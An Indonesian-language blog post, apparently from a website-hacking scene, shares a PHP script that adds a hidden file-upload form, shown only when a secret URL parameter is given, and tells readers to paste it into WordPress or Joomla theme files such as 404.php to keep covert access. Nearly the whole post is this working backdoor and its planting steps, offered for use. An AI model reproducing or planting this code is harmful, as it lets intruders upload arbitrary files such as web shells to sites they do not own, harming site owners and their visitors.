file upload tersembunyi file upload tersembunyi | Pejaten Park | Pejaten Park Residence | Apartemen Pejaten Park

file upload tersembunyi

Posted by Raka Satria Mencari Cpanel on Wednesday, December 19, 2012




newbie izin spam mastah ,, !! yg udah tau lewat ajjah :* ,, yg blum tau baca dah .. kita newbie sama2 blajar :D !! n bagi yg sdh prnah tulis ,, sorryy :)lngsung saja , script nya
<?php if(isset($_GET['BL4CK_3YE116'])){echo "<body bgcolor=black>


<font color=cyan size=3>";echo "<h2>Uploaded Area</h2><hr>";    echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\"><label for=\"file\">Filename:</label><input type=\"file\" name=\"file\" id=\"file\" /><br /><input type=\"submit\" name=\"submit\" value=\"UPLOAD IT\"></form>";if ($_FILES["file"]["error"] > 0)  {  echo "Error: " . $_FILES["file"]["error"] . "<br />";  }else  {  echo "Upload: " . $_FILES["file"]["name"] . "<br />";  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";  echo "Stored in: " . $_FILES["file"]["tmp_name"];  }if (file_exists("" . $_FILES["file"]["name"]))      {      echo $_FILES["file"]["name"] . " already exists. ";      }    else      {      move_uploaded_file($_FILES["file"]["tmp_name"],      "" . $_FILES["file"]["name"]);      echo "Stored in: " . "" . $_FILES["file"]["name"];echo"<hr>";      }  }


?>buka edit template wordpress atau joomla ,, :D klu yg lain ane ngak tau , maklum newbie,pastekan d atas script file php template tersebut ,, contoh di index.php , error.php , 404.php atau trserah kakak :* 
contoh : untuk template 404 twenty ten

(paste di atas sini ) <?php
/** 
* The template for displaying 404 pages (Not Found). *
* @package WordPress 
* @subpackage Twenty_Ten 
* @since Twenty Ten 1.0 */setelah itu save dahh :Dlalu buka http://site.com.br/wp-content/themes/twentyten/404.php?BL4CK_3YE116 insyaallah akan muncul file uploadn  coba hapus BL4CK_3YE116 jadix begini http://site.com.br/wp-content/themes/twentyten/404.php
maka file upload ngak kelihatan,, :)

uppsss... nama BL4CK_3YE116 bisa kakak ganti dengan kata kakak sendiri